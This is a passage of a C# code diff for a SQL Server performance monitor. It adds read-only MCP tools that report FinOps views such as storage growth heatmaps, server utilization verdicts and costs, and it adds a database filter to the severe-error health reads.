+        var byKey = objects.GroupBy(StorageGrowthObjectKey, StringComparer.Ordinal).ToDictionary(g => g.Key, g => g.First(), StringComparer.Ordinal);
+        var keys = FinOpsHeatmapBuilder.RankTopGrowers(
+            objects.Select(o => (StorageGrowthObjectKey(o), (double)(o.Growth30dMb ?? 0m))), objects.Count);
+        var distinct = keys.Distinct(StringComparer.Ordinal).ToList();
+        return (distinct.Take(limit).Select(k => byKey[k]).ToList(), distinct.Count > limit);
+    }
+
+    /// <summary>
+    /// The ranked objects' rows with their heatmap cells, built the viewer's way: rank, then pivot the day samples
+    /// (rows bottom to top, so the biggest grower is the last matrix row), then band the matrix. Days are the
+    /// distinct sample days, ascending.
+    /// </summary>
+    internal static (List<string> Days, List<object> Rows) StorageGrowthObjectRows(
+        IReadOnlyList<ObjectSizeGrowthDto> ranked, IEnumerable<FinOpsObjectDaySample> samples)
+    {
+        var keysTopFirst = ranked.Select(StorageGrowthObjectKey).ToList();
+        var shown = keysTopFirst.ToHashSet(StringComparer.Ordinal);
+        var matrix = FinOpsHeatmapBuilder.BuildMatrix(Enumerable.Reverse(keysTopFirst).ToList(), samples.Where(x => shown.Contains(x.ObjectKey)));
+        var bands = FinOpsHeatmapBuilder.MatrixLogBands(matrix, StorageGrowthBandCount);
+        var days = matrix.Days.Select(McpHelpers.FormatEffectiveStart).ToList();
+        var rows = new List<object>();
+        for (var i = 0; i < ranked.Count; i++)
+        {
+            var o = ranked[i];
+            var matrixRow = ranked.Count - 1 - i;
+            var cells = new List<object?[]>();
+            for (var c = 0; c < matrix.Days.Length; c++)
+            {
+                var mb = matrix.Intensities[matrixRow, c];
+                cells.Add(mb > 0 ? [Math.Round((decimal)mb, 1, MidpointRounding.AwayFromZero), bands[matrixRow, c]] : [null, null]);
+            }
+            rows.Add(new
+            {
+                object_name = keysTopFirst[i],
+                schema_name = o.SchemaName,
+                table_name = o.TableName,
+                reserved_mb = RoundGrowth(o.CurrentReservedMb, 1),
+                used_mb = RoundGrowth(o.CurrentUsedMb, 1),
+                total_rows = o.TotalRows,
+                index_count = o.IndexCount,
+                growth_mb = RoundGrowth(o.Growth30dMb, 1),
+                growth_pct = RoundGrowth(o.GrowthPct30d, 1),
+                daily_growth_rate_mb = RoundGrowth(o.DailyGrowthRateMb, 2),
+                cells,
+            });
+        }
+        return (days, rows);
+    }
+
+    /// <summary>One index's row: every field of the read, plus the SQL's classification. The access time is the server's own clock.</summary>
+    internal static object StorageGrowthIndexRow(IndexUsageDto r) => new
+    {
+        database_name = r.DatabaseName,
+        schema_name = r.SchemaName,
+        table_name = r.TableName,
+        index_name = r.IndexName,
+        index_type_desc = r.IndexTypeDesc,
+        index_id = r.IndexId,
+        reserved_mb = RoundGrowth(r.ReservedMb, 1),
+        total_rows = r.TotalRows,
+        user_seeks = r.UserSeeks,
+        user_scans = r.UserScans,
+        user_lookups = r.UserLookups,
+        total_reads = r.TotalReads,
+        user_updates = r.UserUpdates,
+        /* The monitored server's own clock, read verbatim: no Z, no shifting. */
+        last_user_access_server_local = r.LastUserAccess?.ToString("yyyy-MM-dd'T'HH:mm:ss", CultureInfo.InvariantCulture),
+        classification = r.Classification,
+    };
+
+    internal static string BuildStorageGrowthDatabasesPayload(string server, int hoursBack, List<StorageGrowthDto> databases, int rowCap = MaxStorageGrowthDatabases)
+    {
+        var ordered = OrderStorageGrowthDatabases(databases);
+        return JsonSerializer.Serialize(new
+        {
+            server,
+            view = StorageGrowthView,
+            level = "databases",
+            hours_back = hoursBack,
+            databases = new
+            {
+                status = "ok",
+                message = (string?)null,
+                database_count = ordered.Count,
+                truncated = ordered.Count > rowCap,
+                rows = ordered.Take(rowCap).Select(StorageGrowthDatabaseRow).ToList(),
+            },
+        }, McpHelpers.JsonOptions);
+    }
+
+    internal static string BuildStorageGrowthObjectsPayload(
+        string server, int hoursBack, object database, IReadOnlyList<ObjectSizeGrowthDto> ranked, int objectCount,
+        IEnumerable<FinOpsObjectDaySample> samples, string? objectGate, int windowDays = StorageGrowthWindowDays)
+    {
+        var (days, rows) = StorageGrowthObjectRows(ranked, samples);
+        return JsonSerializer.Serialize(new
+        {
+            server,
+            view = StorageGrowthView,
+            level = "objects",
+            hours_back = hoursBack,
+            database,
+            objects = new
+            {
+                status = SectionStatus(objectGate, ranked.Count),
+                message = objectGate == null ? null : NotCollectedMessage(objectGate),
+                window_days = windowDays,
+                object_count = objectCount,
+                truncated = objectCount > ranked.Count,
+                days,
+                rows,
+            },
+        }, McpHelpers.JsonOptions);
+    }
+
+    internal static string BuildStorageGrowthIndexesPayload(
+        string server, int hoursBack, object database, List<IndexUsageDto> indexes, string? indexGate)
+    {
+        var ordered = OrderStorageGrowthIndexes(indexes);
+        return JsonSerializer.Serialize(new
+        {
+            server,
+            view = StorageGrowthView,
+            level = "indexes",
+            hours_back = hoursBack,
+            database,
+            indexes = new
+            {
+                status = SectionStatus(indexGate, indexes.Count),
+                message = indexGate == null ? null : NotCollectedMessage(indexGate),
+                /* The snapshot every row came from: one anchor, so one stamp for the section. The read has no time bound,
+                   so a database that left collection scope answers with an old snapshot and this says how old. Absent
+                   when no row came back. */
+                captured_at = indexes.Count == 0 ? null : McpHelpers.FormatEffectiveStart(indexes[0].CollectionTime),
+                index_count = ordered.Count,
+                truncated = ordered.Count > MaxStorageGrowthIndexes,
+                rows = ordered.Take(MaxStorageGrowthIndexes).Select(StorageGrowthIndexRow).ToList(),
+            },
+        }, McpHelpers.JsonOptions);
+    }
+
+    internal static object StorageGrowthDatabaseSection(List<StorageGrowthDto> rows, string databaseName, string? gate)
+    {
+        var row = rows.FirstOrDefault(r => string.Equals(r.DatabaseName, databaseName, StringComparison.Ordinal));
+        return new
+        {
+            status = SectionStatus(gate, row == null ? 0 : 1),
+            message = gate == null ? null : NotCollectedMessage(gate),
+            row = row == null ? null : StorageGrowthDatabaseRow(row),
+        };
+    }
+
+    private static async Task<string> ReadStorageGrowthAsync(
+        NpgsqlDataSource postgres, (int ServerId, string ServerName) resolved, int hoursBack, int limit,
+        string? databaseName, string? objectName, CancellationToken ct)
+    {
+        if (StorageGrowthWindowDaysFor(hoursBack) is not int windowDays)
+            return McpHelpers.Refusal("hours_back",
+                $"Invalid hours_back value '{hoursBack}': view {StorageGrowthView} takes 24 (the default, a {StorageGrowthWindowDays}-day window) or a whole number of days from 7 to 90, as {MinStorageGrowthWindowHours} to {MaxStorageGrowthHoursBack} hours.");
+        if (databaseName == null && objectName != null)
+            return McpHelpers.Refusal("object_name", $"object_name needs database_name: {objectName} is a table in one database. Pass database_name too, or omit object_name.");
+        var objectsLevel = databaseName != null && objectName == null;
+        if (objectsLevel && limit > MaxStorageGrowthObjects)
+            return McpHelpers.Refusal("limit", $"Invalid limit value '{limit}': the objects level of view {StorageGrowthView} returns at most {MaxStorageGrowthObjects} objects.");
+        if (databaseName != null && !objectsLevel && limit != DefaultLimit)
+            return McpHelpers.Refusal("limit",
+                $"limit applies only to the databases and objects levels of view {StorageGrowthView}; omit it for the indexes level (database_name with object_name).");
+
+        var now = DateTime.UtcNow;
+        var timeout = McpCommandDeadlines.ReadSeconds;
+        var databases = await DarlingFinOpsStorageGrowthReader.GetStorageGrowthAsync(postgres, resolved.ServerId, now, timeout, ct);
+        var dbGate = databases.Count == 0 ? await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "database_size_stats", ct) : null;
+
+        if (databaseName == null)
+        {
+            if (dbGate != null) return dbGate;
+            if (IsBareEmpty([databases.Count], [dbGate]))
+                return McpHelpers.Status("empty", "No database size snapshot was found for this server, so there is no storage growth to show.");
+            return BuildStorageGrowthDatabasesPayload(resolved.ServerName, hoursBack, databases, StorageGrowthDatabaseCap(limit));
+        }
+
+        var windowStart = DateTime.SpecifyKind(now.AddDays(-windowDays), DateTimeKind.Unspecified);
+        /* Always the desktop's 20: the summary read and RankTopGrowers agree except when growth is null, which happens in two cases:
+           the database has a single snapshot (every row is null and the order is by key), or a table's current size is unknown (the SQL sorts that row last,
+           the desktop's order counts it as 0); the re-rank keeps the desktop's order in both.
+           limit and object_name are applied to that re-ranked set. */
+        var topN = MaxStorageGrowthObjects;
+        var (objects, samples) = await DarlingFinOpsStorageGrowthReader.GetObjectGrowthHeatmapDataAsync(
+            postgres, resolved.ServerId, databaseName, windowStart, windowDays, topN, timeout, ct);
+        var objectGate = objects.Count == 0 ? await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "index_object_stats", ct) : null;
+
+        if (dbGate != null && objectGate != null) return dbGate;
+        if (IsBareEmpty([databases.Count, objects.Count], [dbGate, objectGate]))
+            return McpHelpers.Status("empty", "No database size snapshot or object size data was found for this server, so there is no storage growth to show.");
+
+        if (!objectsLevel && objectGate != null) return objectGate;
+
+        var (ranked, _) = RankStorageGrowthObjects(objects, MaxStorageGrowthObjects);
+        var database = StorageGrowthDatabaseSection(databases, databaseName, dbGate);
+
+        if (objectsLevel)
+        {
+            return BuildStorageGrowthObjectsPayload(resolved.ServerName, hoursBack, database, ranked.Take(Math.Min(limit, StorageGrowthObjectCap(windowDays))).ToList(), ranked.Count, samples, objectGate, windowDays);
+        }
+
+        var match = ranked.FirstOrDefault(o => string.Equals(StorageGrowthObjectKey(o), objectName, StringComparison.Ordinal));
+        if (match == null)
+            return McpHelpers.Refusal("object_name",
+                $"object_name '{objectName}' is not among the {MaxStorageGrowthObjects} fastest-growing objects of database '{databaseName}'. Read the objects level (database_name only) and pass an object_name from its rows.");
+
+        var indexes = await DarlingFinOpsStorageGrowthReader.GetObjectIndexDetailAsync(
+            postgres, resolved.ServerId, databaseName, match.SchemaName, match.TableName, timeout, ct);
+        var indexGate = indexes.Count == 0 ? await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "index_object_stats", ct) : null;
+        return BuildStorageGrowthIndexesPayload(resolved.ServerName, hoursBack, database, indexes, indexGate);
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.Utilization.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.Utilization.cs
new file mode 100644
index 0000000000..28b3aa89b9
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.Utilization.cs
@@ -0,0 +1,122 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage.FinOps;
+
+namespace PerformanceMonitor.Darling.Service.Mcp;
+
+public sealed partial class DarlingMcpFinOpsTools
+{
+    internal const string UtilizationView = "utilization";
+
+    internal const string UtilizationViewLine =
+        "utilization: fixed 24h verdict, health score, cost, 7-day trend.";
+
+    internal const string UtilizationViewGuide =
+        "utilization reads a fixed 24-hour window and a fixed 7-day trend; hours_back other than 24 and limit other than 10 are refused. verdict is RIGHT_SIZED, OVER_PROVISIONED, UNDER_PROVISIONED or NOT_APPLICABLE, and null when the window holds no CPU sample. health_score is 0-100: CPU 40%, memory 30%, storage 30% (health_score is null when there is no CPU sample, with health_score_note saying so; cpu.avg_cpu_pct, p95_cpu_pct and max_cpu_pct are null then too, never 0); health_band is good at 80 and above, fair at 60 and above, else poor. stolen_memory_pct is (total server memory - buffer pool) / total server memory; buffer_pool_pct is buffer pool / physical memory. free_space_pct is the latest database-size snapshot's free share, 100 when none exists. monthly_cost_usd comes from the server's registered monthly cost and annual_cost_usd is 12 times it; both are null when no cost is set or it is 0 or less. Percentages are rounded to 0.1. A server with no memory sample answers status empty (or not_collected when its engine cannot supply one) instead of this payload. On engine edition 5 memory_basis is memory_limit and cpu_count is the vCore count (null when the service objective names none). Text numbers use the invariant culture. Times are UTC.";
+
+    private static async Task<string> ReadUtilizationAsync(
+        NpgsqlDataSource postgres, (int ServerId, string ServerName) resolved, int hoursBack, int limit, CancellationToken ct)
+    {
+        if (hoursBack != 24)
+            return McpHelpers.Refusal("hours_back",
+                $"Invalid hours_back value '{hoursBack}': view utilization reads a fixed 24-hour window and a 7-day trend; hours_back does not apply. Omit it or pass 24.");
+        if (limit != DefaultLimit)
+            return McpHelpers.Refusal("limit",
+                $"Invalid limit value '{limit}': view utilization reads a fixed 24-hour window and a 7-day trend; limit does not apply. Omit it or pass {DefaultLimit}.");
+
+        var dto = await DarlingFinOpsUtilizationReader.GetUtilizationEfficiencyAsync(
+            postgres, resolved.ServerId, McpCommandDeadlines.ReadSeconds, ct);
+        if (dto == null)
+        {
+            return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "memory_stats", ct)
+                ?? McpHelpers.Status("empty",
+                    "No memory statistics were collected for this server in the last 24 hours, so there is no utilization summary.");
+        }
+
+        var trend = await DarlingFinOpsUtilizationReader.GetProvisioningTrendAsync(
+            postgres, resolved.ServerId, McpCommandDeadlines.ReadSeconds, ct);
+        var totals = await FinOpsUtilizationFigures.GetLatestStorageTotalsAsync(
+            postgres, resolved.ServerId, McpCommandDeadlines.ReadSeconds, ct);
+        var monthly = await FinOpsUtilizationFigures.GetMonthlyCostUsdAsync(
+            postgres, resolved.ServerId, McpCommandDeadlines.ReadSeconds, ct);
+
+        var hasCpu = FinOpsUtilizationFigures.HasCpuSample(dto);
+        var freePct = totals is { } t ? FinOpsUtilizationFigures.FreeSpacePct(t.AllocatedMb, t.FreeMb) : 100m;
+        var score = FinOpsUtilizationFigures.HealthScoreOrNull(dto, freePct);
+        var vcoreEdition = ServerHardwareScope.HardwareIsTheHosts(dto.EngineEdition);
+        var noVcores = vcoreEdition && dto.CpuCount <= 0;
+        var hasCost = monthly > 0m;
+
+        return JsonSerializer.Serialize(new
+        {
+            server = resolved.ServerName,
+            view = UtilizationView,
+            window_hours = 24,
+            trend_days = 7,
+            engine_edition = dto.EngineEdition > 0 ? dto.EngineEdition : (int?)null,
+            verdict = hasCpu ? dto.ProvisioningStatus : null,
+            verdict_reason = hasCpu
+                ? FinOpsUtilizationFigures.Explanation(dto, CultureInfo.InvariantCulture)
+                : "No CPU sample in the last 24 hours, so there is no verdict.",
+            health_score = score,
+            health_band = score is int scoreValue ? FinOpsUtilizationFigures.HealthBand(scoreValue) : null,
+            health_score_note = hasCpu ? null : FinOpsHealthCalculator.NoScoreNote,
+            free_space_pct = Math.Round(freePct, 1, MidpointRounding.AwayFromZero),
+            free_space_pct_reason = totals is null ? "no database size snapshot" : null,
+            cpu = new
+            {
+                /* With no CPU sample in the window the three figures are null, never the 0 the read returns for nothing. */
+                avg_cpu_pct = hasCpu ? Math.Round(dto.AvgCpuPct, 1, MidpointRounding.AwayFromZero) : (decimal?)null,
+                p95_cpu_pct = hasCpu ? Math.Round(dto.P95CpuPct, 1, MidpointRounding.AwayFromZero) : (decimal?)null,
+                max_cpu_pct = hasCpu ? dto.MaxCpuPct : (int?)null,
+                cpu_samples = dto.CpuSamples,
+                cpu_count = noVcores ? (int?)null : dto.CpuCount,
+                cpu_count_reason = noVcores ? "service objective names no vCores" : null,
+                cpu_count_unit = vcoreEdition ? "vcores" : "cpus",
+                max_workers = dto.MaxWorkersCount,
+                current_workers = dto.CurrentWorkersCount,
+            },
+            memory = new
+            {
+                memory_basis = vcoreEdition ? "memory_limit" : "physical",
+                physical_memory_mb = dto.PhysicalMemoryMb,
+                target_memory_mb = dto.TargetMemoryMb,
+                total_memory_mb = dto.TotalMemoryMb,
+                buffer_pool_mb = dto.BufferPoolMb,
+                memory_ratio = dto.MemoryRatio,
+                buffer_pool_pct = Math.Round(FinOpsUtilizationFigures.BufferPoolPct(dto.BufferPoolMb, dto.PhysicalMemoryMb), 1, MidpointRounding.AwayFromZero),
+                stolen_memory_pct = Math.Round(FinOpsUtilizationFigures.StolenMemoryPct(dto.TotalMemoryMb, dto.BufferPoolMb), 1, MidpointRounding.AwayFromZero),
+                max_grant_waiters = dto.MaxGrantWaiters,
+                grant_timeouts = dto.GrantTimeouts,
+                forced_grants = dto.ForcedGrants,
+                grant_utilization_pct = dto.GrantUtilizationPct,
+            },
+            monthly_cost_usd = hasCost ? monthly : (decimal?)null,
+            annual_cost_usd = hasCost ? FinOpsCost.Annual(monthly) : (decimal?)null,
+            cost_reason = hasCost ? null : "monthly cost not set",
+            provisioning_trend = trend.Select(d => new
+            {
+                day = d.Day.ToString("yyyy-MM-dd", CultureInfo.InvariantCulture),
+                avg_cpu_pct = Math.Round(d.AvgCpuPct, 1, MidpointRounding.AwayFromZero),
+                p95_cpu_pct = Math.Round(d.P95CpuPct, 1, MidpointRounding.AwayFromZero),
+                max_cpu_pct = d.MaxCpuPct,
+                memory_ratio = d.MemoryRatio,
+                verdict = d.Status,
+            }).ToList(),
+        }, McpHelpers.JsonOptions);
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.cs
new file mode 100644
index 0000000000..7e956b65fb
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.cs
@@ -0,0 +1,167 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.ComponentModel;
+using System.Threading;
+using System.Threading.Tasks;
+using ModelContextProtocol.Server;
+using Npgsql;
+using PerformanceMonitor.Common;
+
+namespace PerformanceMonitor.Darling.Service.Mcp;
+
+/// <summary>
+/// The FinOps MCP surface (#4843): one grouped, per-server tool whose <c>view</c> parameter picks a closed
+/// set of read-only views. Each view's handler lives in its own partial file and contributes its own line to
+/// the served description, so adding a view adds one allow-list entry, one switch arm and one partial.
+/// </summary>
+[McpServerToolType]
+public sealed partial class DarlingMcpFinOpsTools
+{
+    /// <summary>The views <c>get_finops</c> accepts, in the order the description lists them.</summary>
+    internal static readonly string[] Views =
+    [
+        // FinOps web parity (#4843), set A: append new FinOps entries below this line only.
+        UtilizationView,
+        IndexAnalysisView,
+        // FinOps web parity (#4843), set A ends.
+        // Each set belongs to one series of changes. Append to your own set only,
+        // so the two series never edit the same lines of this allow-list.
+        // Entries keep the allow-list's existing order and form.
+        // A view line is the view name plus one short clause, about 60 characters; field lists, units and cut points
+    // go in the view's guide constant.
+    // Set A and set B are separated on purpose: keep this gap.
+        //
+        //
+        //
+        // FinOps web parity (#4843), set B: append new FinOps entries below this line only.
+        HighImpactView,
+        DatabaseResourcesView,
+        ApplicationConnectionsView,
+        OptimizationView,
+        StorageGrowthView,
+        DatabaseSizesView,
+        // FinOps web parity (#4843), set B ends.
+    ];
+
+    // FinOps web parity (#4843), set A: append new FinOps entries below this line only.
+    internal const string SetAViewLines = " " + UtilizationViewLine + " " + IndexAnalysisViewLine;
+    internal const string SetAValid = UtilizationView + ", " + IndexAnalysisView + ", ";
+    internal const string SetAGuides = " " + UtilizationViewGuide + " " + IndexAnalysisViewGuide;
+    // FinOps web parity (#4843), set A ends.
+    // Each set belongs to one series of changes. Append to your own set only,
+    // so the two series never edit the same lines of these fragments.
+    // View lines and guide tails each start with a space; Valid entries in set A each end with ", ",
+    // and set B's entries are joined with ", " after the first.
+    // A view line is the view name plus one short clause, about 60 characters; field lists, units and cut points
+    // go in the view's guide constant.
+    // Set A and set B are separated on purpose: keep this gap.
+    //
+    //
+    //
+    // FinOps web parity (#4843), set B: append new FinOps entries below this line only.
+    internal const string SetBViewLines = " " + HighImpactViewLine + " " + DatabaseResourcesViewLine + " " + ApplicationConnectionsViewLine + " " + OptimizationViewLine + " " + StorageGrowthViewLine;
+    internal const string SetBValid = HighImpactView + ", " + DatabaseResourcesView + ", " + ApplicationConnectionsView + ", " + OptimizationView + ", " + StorageGrowthView + ", " + DatabaseSizesView;
+    internal const string SetBGuides = " " + HighImpactViewGuide + " " + DatabaseResourcesViewGuide + " " + ApplicationConnectionsViewGuide + " " + OptimizationViewGuide + " " + StorageGrowthViewGuide + " " + DatabaseSizesViewGuide;
+    // FinOps web parity (#4843), set B ends.
+
+    private const int DefaultLimit = 10;
+    private const int MaxLimit = 50;
+
+    /// <summary>The largest <c>limit</c> a view takes: 500 for database_sizes (files), index_analysis (recommendations) and the databases
+    /// level of storage_growth (#5238), the 50 of the other views' top-N lists for the rest. A default <c>limit</c> keeps the size of a
+    /// default call. storage_growth's objects level refuses what is over 20 itself, and its indexes level any non-default <c>limit</c>.</summary>
+    internal static int MaxLimitFor(string normalizedView) => normalizedView switch
+    {
+        // Set A (#4843): append set A's arms below this line only.
+        IndexAnalysisView => MaxIndexAnalysisRecommendations,
+        // Set B (#4843): append set B's arms below this line only.
+        DatabaseSizesView => MaxDatabaseSizeRows,
+        StorageGrowthView => MaxStorageGrowthDatabaseRows,
+        _ => MaxLimit,
+    };
+
+    [McpServerTool(Name = "get_finops"), Description(
+        "FinOps views for one server, picked by view. Windowed over hours_back, UTC; no as_of." + SetAViewLines + SetBViewLines + " An unknown view is refused with the valid list. <<GUIDE>>" + SetAGuides + SetBGuides)]
+    public static async Task<string> GetFinOps(
+        NpgsqlDataSource postgres,
+        [Description("Which view to read. Valid: " + SetAValid + SetBValid + ".")] string view,
+        [Description("Server name or display name.")] string? server_name = null,
+        [Description("Hours back, default 24 (storage_growth: max 2160).")] int hours_back = 24,
+        [Description("Most rows per list (default 10); each view has its own max.")] int limit = DefaultLimit,
+        [Description("Database to limit the view to (index_analysis, storage_growth).")] string? database_name = null,
+        [Description("Return full script and definition text (index_analysis only; default false).")] bool full_text = false,
+        [Description("schema.table of one object (storage_growth only, with database_name).")] string? object_name = null,
+        CancellationToken cancellationToken = default)
+    {
+        var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
+        if (error != null) return error;
+
+        if (string.IsNullOrWhiteSpace(view))
+            return McpHelpers.Refusal("view", $"view is required. Valid views: {string.Join(", ", Views)}.");
+        var normalized = view.Trim().ToLowerInvariant();
+        if (!Views.Contains(normalized))
+            return McpHelpers.Refusal("view", $"Invalid view value '{view}'. Valid views: {string.Join(", ", Views)}.");
+
+        /* storage_growth validates its own window (24, or 7 to 90 whole days): the shared ceiling is 168 hours. */
+        var validation = normalized == StorageGrowthView ? null : McpHelpers.ValidateHoursBack(hours_back);
+        if (validation != null) return validation;
+        var maxLimit = MaxLimitFor(normalized);
+        if (limit < 1 || limit > maxLimit)
+            return McpHelpers.Refusal("limit", $"Invalid limit value '{limit}'. Must be an integer from 1 to {maxLimit}.");
+
+        database_name = NormalizeOptionalText(database_name);
+        object_name = NormalizeOptionalText(object_name);
+        var misuse = OptionalParamMisuse(normalized, database_name, full_text, object_name);
+        if (misuse is { } m) return McpHelpers.Refusal(m.Parameter, m.Message);
+
+        try
+        {
+            switch (normalized)
+            {
+                // FinOps web parity (#4843), set A: append new FinOps entries below this line only.
+                case UtilizationView:
+                    return await ReadUtilizationAsync(postgres, resolved, hours_back, limit, cancellationToken);
+                case IndexAnalysisView:
+                    return await ReadIndexAnalysisAsync(postgres, resolved, hours_back, limit, database_name, full_text, cancellationToken);
+                // FinOps web parity (#4843), set A ends.
+                // Each set belongs to one series of changes. Append to your own set only,
+                // so the two series never edit the same lines of this switch.
+                // Entries keep the switch's existing order and form.
+                // A view line is the view name plus one short clause, about 60 characters; field lists, units and cut points
+    // go in the view's guide constant.
+    // Set A and set B are separated on purpose: keep this gap.
+                //
+                //
+                //
+                // FinOps web parity (#4843), set B: append new FinOps entries below this line only.
+                case HighImpactView:
+                    return await ReadHighImpactAsync(postgres, resolved, hours_back, limit, cancellationToken);
+                case DatabaseResourcesView:
+                    return await ReadDatabaseResourcesAsync(postgres, resolved, hours_back, limit, cancellationToken);
+                case ApplicationConnectionsView:
+                    return await ReadApplicationConnectionsAsync(postgres, resolved, hours_back, limit, cancellationToken);
+                case OptimizationView:
+                    return await ReadOptimizationAsync(postgres, resolved, hours_back, limit, cancellationToken);
+                case StorageGrowthView:
+                    return await ReadStorageGrowthAsync(postgres, resolved, hours_back, limit, database_name, object_name, cancellationToken);
+                case DatabaseSizesView:
+                    return await ReadDatabaseSizesAsync(postgres, resolved, limit, cancellationToken);
+                // FinOps web parity (#4843), set B ends.
+                default:
+                    return McpHelpers.Refusal("view", $"Invalid view value '{view}'. Valid views: {string.Join(", ", Views)}.");
+            }
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            return McpHelpers.FormatError("get_finops", ex);
+        }
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHealthParserTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHealthParserTools.cs
index f05b246de7..a9fd89c9ff 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHealthParserTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHealthParserTools.cs
@@ -13,9 +13,11 @@
 using System.Text.Json;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using ModelContextProtocol.Server;
 using Npgsql;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
 
 #pragma warning disable CA1707 // MCP tools use snake_case naming convention
 
@@ -71,6 +73,7 @@ public static async Task<string> GetSystemHealth(
         [Description("Hours of history to retrieve. Default 24.")] int hours_back = 24,
         [Description("Maximum number of entries. Default 50.")] int limit = 50,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         try
@@ -84,12 +87,20 @@ GetSystemHealthAsync keeps every SYSTEM snapshot that has a timestamp. */
             if (c.EarlyReturn != null) return c.EarlyReturn;
             if (c.Rows.Count == 0)
                 return await EmptyAsync(postgres, c, hours_back, SystemHealthParser.SpServerDiagnosticsEvent,
-                    "none carried a SYSTEM component result with a timestamp (the other four sp_server_diagnostics components feed the sibling reads)", cancellationToken);
+                    "none carried a SYSTEM component result with a timestamp (the other four sp_server_diagnostics components feed the sibling reads)", logger, cancellationToken);
 
-            return JsonSerializer.Serialize(new
+            /* The earliest event is taken from every qualifying row, before the page limit applies: the read has no SQL cap, so the store
+               really reaches that event, and shown / total_entries show the page cap. With a small limit, effective_start can therefore
+               name an event no returned row carries. */
+            var notice = await NoticeAsync(postgres, c, hours_back, EarliestOf(c.Rows.Select(r => r.EventTime)), emptyAnswer: false, logger, cancellationToken);
+
+            return Finish(notice, JsonSerializer.Serialize(new
             {
                 server = c.ServerName,
                 hours_back,
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 source_observed = true,
                 last_captured_at = Stamp(c.LastCapturedAt),
                 total_entries = c.Rows.Count,
@@ -113,18 +124,41 @@ GetSystemHealthAsync keeps every SYSTEM snapshot that has a timestamp. */
                     bad_pages_detected = r.BadPagesDetected,
                     bad_pages_fixed = r.BadPagesFixed
                 })
-            }, McpHelpers.JsonOptions);
+            }, McpHelpers.JsonOptions));
         }
         catch (Exception ex) when (ex is not OperationCanceledException) { return McpHelpers.FormatError("get_health_parser_system_health", ex); }
     }
 
     [McpServerTool(Name = "get_health_parser_severe_errors"), Description("Gets severe errors from system_health over an event_time window ending at as_of, newest first. Gated: severity 19 or higher only, benign connection-reset error numbers excluded, so a lower-severity error is never listed. An empty answer with status empty is a real result: nothing in this window passed the gate, and events_in_window counts what was captured and filtered out. status unavailable with source_observed false is no evidence either way. <<GUIDE>> Gets severe errors from system_health (severity >= 19, benign connection-reset numbers excluded): error number, severity, state, database, and message. These are critical SQL Server events (stack dumps, fatal errors). " + McpToolGuideTopics.SystemHealthEmptyWindows)]
-    public static async Task<string> GetSevereErrors(
+    public static Task<string> GetSevereErrors(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history to retrieve. Default 24.")] int hours_back = 24,
         [Description("Maximum number of entries. Default 50.")] int limit = 50,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null,
+        ILogger? logger = null,
+        CancellationToken cancellationToken = default) =>
+        GetSevereErrors(postgres, server_name, hours_back, limit, DatabaseFilter.One(database_name), as_of, logger, cancellationToken);
+
+    /// <summary>
+    /// The same read over a SET of databases (#5245). The MCP tool passes <c>DatabaseFilter.One(database_name)</c> (blank is every
+    /// database) and the web route the repeated keys (#5244). Every answer shape echoes <c>database_name</c> (the name for one
+    /// database, "the chosen databases" for two or more, null for all). The store keeps no database name for these events, so the filter runs
+    /// in C#, on the name each error's <c>database_id</c> carried AT THE ERROR'S TIME (<c>names.Resolve(id, eventTime)</c>, the name
+    /// the row shows, #5373), compared ordinally, AFTER the severity gate and BEFORE the counts and the page limit:
+    /// <c>error_count</c> and the page are the chosen databases' errors. An error whose id resolves to no name (no database
+    /// context, or an id the collected history never saw) is in no chosen database while a filter is active. A database id
+    /// reused by a second database therefore matches each error by the name it had then.
+    /// </summary>
+    internal static async Task<string> GetSevereErrors(
+        NpgsqlDataSource postgres,
+        string? server_name,
+        int hours_back,
+        int limit,
+        DatabaseFilter databases,
+        string? as_of,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
